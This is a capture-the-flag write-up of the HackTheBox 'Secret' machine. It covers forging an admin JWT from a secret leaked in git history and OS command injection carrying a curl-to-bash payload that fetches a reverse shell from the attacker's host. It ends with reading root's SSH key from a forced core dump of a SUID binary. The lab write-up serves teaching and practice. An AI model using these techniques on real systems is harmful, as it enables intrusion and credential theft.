Prelude
Secret was an intermediate machine from HTB, developed by z9fr. This was a pretty cool machine, which started with crafting JWT tokens as admin with exposed JWT secret from a github repo. Once we are in as admin, we can then use OS command injection in a vulnerable API endpoint accessible to the admin user to gain the initial shell.
For privilege escalation, we can read the coredump output of a custom compiled SUID binary that can output the wordcount of any file in the system.
Let me elaborate on how I solved this box.
Exploitation
Nmap returned the following results.
Nmap scan report for 10.10.11.120
Host is up (0.055s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We’ve three ports open. If we notice the http title returned, then we can see that port 80 and 3000 probably have the same service running. I’ve confirmed this by navigating to port 80 and port 3000.
The creator’s intention was to run port 3000 listening to localhost and use nginx as a reverse proxy. But it seems like he missed setting the listening address of Node.js to localhost.
So I ignored port 3000 for the beginning and decided to go for t, if I’m stuck.
I navigated to port 80 and found the following website.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120203547.png?w=1024)
Examining the page revealed that it was a documention for an API and the site had a link to download source code of the API. I’ve downloaded the zip and extracted the contents.
It contained a github repo of the API endpoint, which was written in JS.
There was a .env
file in the github repo, which contained the JWT secret variable, but the secret was redacted.
So, I looked the diff on a old commit (Specifically commit 3a367e735ee76569664bf7754eaaade7c735d702
) and found the actual JWT secret.
git diff 3a367e735ee76569664bf7754eaaade7c735d702
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120213405.png?w=1024)
Now that we’ve the JWT secret, we can craft a custom JWT token.
So, the next step is to find a valid JWT token and inspect it. I’ve examined the API documentation given in the site and found a way to register users.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120204954.png?w=1024)
So I’ve used the following cURL request to create a new user.
curl -i -s -k -X 'POST' -H 'Content-Type: application/json' -d '{"name": "secnigma","email": "secnigma@test.com","password": "123test"}' http://10.10.11.120/api/user/register
Note that the Content-Type: application/json Header is very important and without it, the server wouldn’t interpret the data we passed as JSON data.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120210714.png?w=967)
After that, I’ve referred the documentation and found a way to login to the API using the credentials we just created. The documentation also stated that if the login was succesful, a JWT token would be sent back by the API as response.
So I’ve tried to login and I got a JWT back, as stated in the documentation.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120211127.png?w=1024)
The JWT I got was:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU5ODE3M2ZjMDkzOTA0NjJmOTFiYWEiLCJuYW1lIjoic2VjbmlnbWEiLCJlbWFpbCI6InNlY25pZ21hQHRlc3QuY29tIiwiaWF0IjoxNjQyNjkzMTkyfQ.Row3IaRM5Id7_Yt5V_bDToTxDKkmOz3szHQfCPa_p8o
I’ve used JWT.io and decoded the JWT.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-41.png?w=991)
The JWT contains different variables like id,name,email and date issues in epoch time.
Now we need to find a privileged area of the API, which only the privileged user can access.
Reading the documentation revealed that there is a /priv
endpoint to the API, that only the admin can access.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120211653.png?w=1024)
So chances are, this is our target endpoint.
Now, we need to know how the API authenticates using the JWT.
By examining the local-web/routes/private.js
file, I’ve found the following code.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120212334.png?w=530)
This code reveals that the authentication as admin user is done by checking the name variable in the JWT token and if the variable equals to the string theadmin
, the it would login the user as administrator.
Since we have the JWT secret, it is pretty easy to do with JWT.io. I’ve modified the JWT with name as theadmin
and signed it using the secret we have found earlier and got the JWT of the admin as given below.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU5ODE3M2ZjMDkzOTA0NjJmOTFiYWEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InNlY25pZ21hQHRlc3QuY29tIiwiaWF0IjoxNjQyNjkzMTkyfQ.dxEs0eV1nPf4CctskzZ1DlWeOgi7tWaYHBD29A7gfx8
I then tried to access the /priv
endpoint and got the following output.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120213439.png?w=1024)
Ok. We are admin.
Now, we need to find a vulnerability to exploit. So, I’ve read the local-web/routes/private.js
file and found a new endpoint.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120214225.png?w=582)
There’s an endpoint named /logs
. The admin can access the endpoint and can view the git log
of any file, passed through the file variable. The private.js
file uses exec
function to execute git log
command to the shell.
However, since private.js
file passes the entire GET variable to the exec
function, without sanitation, we can inject OS commands in it.
I’ve tested the functionality of /api/logs
the intended way first.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-43.png?w=655)
And it worked flawlessly.
Then I tested the OS command injection vulnerability, by passing the sleep
command. I am using the time
command to check the time it takes to complete the command.
time curl -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU5ODE3M2ZjMDkzOTA0NjJmOTFiYWEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InNlY25pZ21hQHRlc3QuY29tIiwiaWF0IjoxNjQyNjkzMTkyfQ.dxEs0eV1nPf4CctskzZ1DlWeOgi7tWaYHBD29A7gfx8' 'http://10.10.11.120/api/logs?file=.env;sleep+5;'
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-44.png?w=656)
The usual response time, without the sleep
command is as shown below.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-42.png?w=661)
So, OS command injection is confirmed.
Let’s get a reverse shell now. Since we’ve to send the payload as a GET variable, we have to use URL encoding.
I am using URL encoded curl to bash pipe to execute a bash reverse shell payload.
Acutal payload is given below.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120215129.png?w=390)
Payload without URL encoding is shown below.
/api/logs?file=.env;curl 10.10.14.80/env|bash
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120215221.png?w=627)
I’ve send the request as shown above and got a reverse shell back as dasith
.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120215344.png?w=666)
![Cool Kid GIFs - Get the best GIF on GIPHY](https://media4.giphy.com/media/xTiTngBQncyTMceuXK/200.gif)
Privilege Escalation
There was a mongodb instance running on the target. Got it from the .env
file.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120220846.png?w=407)
I’ve accessed mongo shell using the following command.
mongo "mongodb://127.0.0.1:27017/auth-web
Then used show dbs
to view the available databases.
After that, used show collections
to list collections (tables).
Then used use auth-web
to select the db.
After that, used db.users.find()
to list all entries from users collection.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220120221116.png?w=1024)
I’ve tried to crack the hashes of users theadmin
and dasith
, but they didn’t got cracked (in time).
So, I’ve inspected the File system and found a custom SUID binary in the /opt
directory.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-45.png?w=469)
I’ve inspected the code.c
file, which was the source code of the SUID binary. There’s also a file named valgrind.log
in the folder to nudge us towards the priv esc part.
The SUID binary allows non-privileged users to view the word count of any file in the system.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-46.png?w=412)
The valgrind.log
file mentions about memory dumping. So, I am pretty sure that we can read the file that count
binary opens by reading it’s coredump.
My first idea was to attach it to gdb
, since gdb
is present in the system. But, the problem was we can’t debug SUID binaries using gdb, without being root. Reason
So, I’ve tried this bash script to dump memory contents without gdb. But, since this is an SUID program and it will be running as root, unprivileged users cannot view the memory contents with gdb.
That’s when I’ve noticed an interesting function call in the code.c file.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-47.png?w=495)
Before prompting for save file location, the binary downgrades privileges and sets PR_SET_DUMPABLE
as 1
using a function anmed prctl
. Settting PR_SET_DUMPABLE
as 1
means that the process’s memory is dumpable.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/pasted-image-20220121002942.png?w=829)
This documentation also says that if the value of /proc/sys/fs/suid_dumpable
is set to a value > 0, then the core of the SUID process can be dumped.
Let’s check the value of /proc/sys/fs/suid_dumpable
.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-48.png?w=439)
Great! It is set to 2! That means SUID binaries can generate core-dump.
Read More about Suid_dumpable flag
Now, let’s check the /proc/sys/kernel/core_pattern
file to see the locaiton of core-dump.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-50.png?w=559)
Since the target is an Ubuntu machine, it uses the apport
script to handle crashes. The default path of core-dump by apport is at the Current Working Directory or at /var/crash
.
Now, let’s start the program and try to read /root/.ssh/id_rsa
.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-49.png?w=464)
The program is now waiting for the user input. Now, open a new shell and send the program a SIGTRAP (Signal 5) to the process. It tells the processor that an exception occurred.
Note: I’ve tried the CTRL+/
method to send SIGQUIT. But even if it says that core dumped, it doesn’t generate core dump due to some apport weirdness.
kill -5 <pid>
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-51.png?w=534)
After that, let’s check /var/crash
to see if a crash dump is generated.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-52.png?w=569)
This is a .crash archived file and it can be extracted using apport-unpack
.
apport-unpack <crash-file> <destination>
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-53.png?w=726)
And we have a core-dump file.
We can now read the core file. This is because, since suid_dumpable
flag is enabled, it saves the core-dump with the user as the owner.
I then used Strings on the Coredump file and got the SSH key.
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-54.png?w=682)
I then used this key to login as root!
![](https://secnigma.wordpress.com/wp-content/uploads/2022/01/image-55.png?w=762)
![Post a Gif to describe the Week 10 Win against the Jaguars - Colts Football - Indianapolis Colts Fan Forum](https://media1.giphy.com/media/KR9OgQyWAwIIE/200.gif)
Postlude
And that was secret!
Even though this was an easy rated machine, it felt like an intermediate machine for me just because of the privilege escalation vector.
I would like to thank plasma
for helping me solve the final part of this puzzle!
Kudos to z9fr for creating such an awesome machine!
Peace out! ✌️